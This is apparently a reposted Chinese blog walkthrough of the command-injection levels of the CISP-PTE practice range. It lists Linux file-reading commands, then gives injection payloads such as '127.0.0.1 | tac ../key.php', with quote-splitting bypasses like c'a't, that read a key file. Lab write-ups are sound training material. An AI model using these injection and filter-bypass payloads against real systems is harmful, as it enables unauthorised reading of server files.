cisp-pte靶場通關思路分享----命令注入篇


個人覺得這個命令注入是最簡單的。

在這之前先來了解下讀文件都可以用哪些命令吧。

linux常用於讀取文件內容指令主要有以下七種:

cat、tac、nl、more、less、head、tail

cat:  由第一行開始顯示內容,並將所有內容輸出

cat 文件名        將文件內容顯示在屏幕上

cat -n 文件名    將文件內容顯示在屏幕上,並顯示行號

cat -b 文件名    將文件內容顯示在屏幕上,並顯示行號,但是不顯示空白行行號

tac:  從最后一行倒序顯示內容,並將所有內容輸出

tac 文件名       將文件內容顯示在屏幕上,但是是從最后一行開始往前顯示
tac -s separator 文件名 –從separator往后倒序輸出,倒序輸出不包含separator,輸出到最后一行再按照順序將separator之前的內容輸出
tac -b -s separator 文件名 –從separator往后倒序輸出,倒序輸出包含separator,輸出到最后一行再按照順序將separator之前的內容輸出

nl: 類似於cat-n,顯示時輸出行號

nl 文件名         (就是nl -b t 文件名) 使用nl指令肯定是顯示行號的,主要是操作行號如何顯示
nl -b a 文件名     顯示行號,空行也顯示行號
nl -b t 文件名      顯示行號,空行不顯示行號(默認值)
nl -w 數字x 文件名   行號字段所占用的位數
nl -n ln 文件名         行號在字段最前方那段空間最左端顯示
nl -n rn 文件名        行號在字段最前方那段空間最右端端顯示,且不加0
nl -n rz 文件名         行號在字段最前方那段空間最右端端顯示,且加0

more:根據窗口大小,一頁一頁的查看文件內容

more 文件名 

less:和more類似,但其優點可以往前翻頁,而且進行可以搜索字符

less  文件名

head:只顯示頭幾行

haed 文件名 –顯示文件頭十行

tail:只顯示最后幾行

tail文件名 –顯示文件尾部

 

靶場一:

 

 

 

直接構造payload:

127.0.0.1 | tac ../key.php

 

 

經測試,以下payload均可完成這道題。

127.0.0.1 | less ../key.php

127.0.0.1 | m'or'e ../key.php

127.0.0.1 | tail ../key.php

127.0.0.1 | v''i ../key.php

127.0.0.1 | c'a't ../key.php

127.0.0.1 | head ../key.php

127.0.0.1 | nl ../key.php

|od -c ../key.php

|xxd ../key.php

|xxd ../key.php|grep key

|grep "key" ../key.php

|sed -n '1,5p' ../key.php|grep key

 

靶場二:

 

 

 

 類似於第一個靶場,直接用剛才的payload試:

127.0.0.1 | m'or'e ../key.php  

 

 

經測試這個靶場可以用的payload:

127.0.0.1 | v''i ../key.php   

127.0.0.1 | c'a't ../key.php

127.0.0.1 |xxd ../key.php

127.0.0.1 |grep "key" ../key.php

 

到這里命令執行就搞定了,下一篇日志分析。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM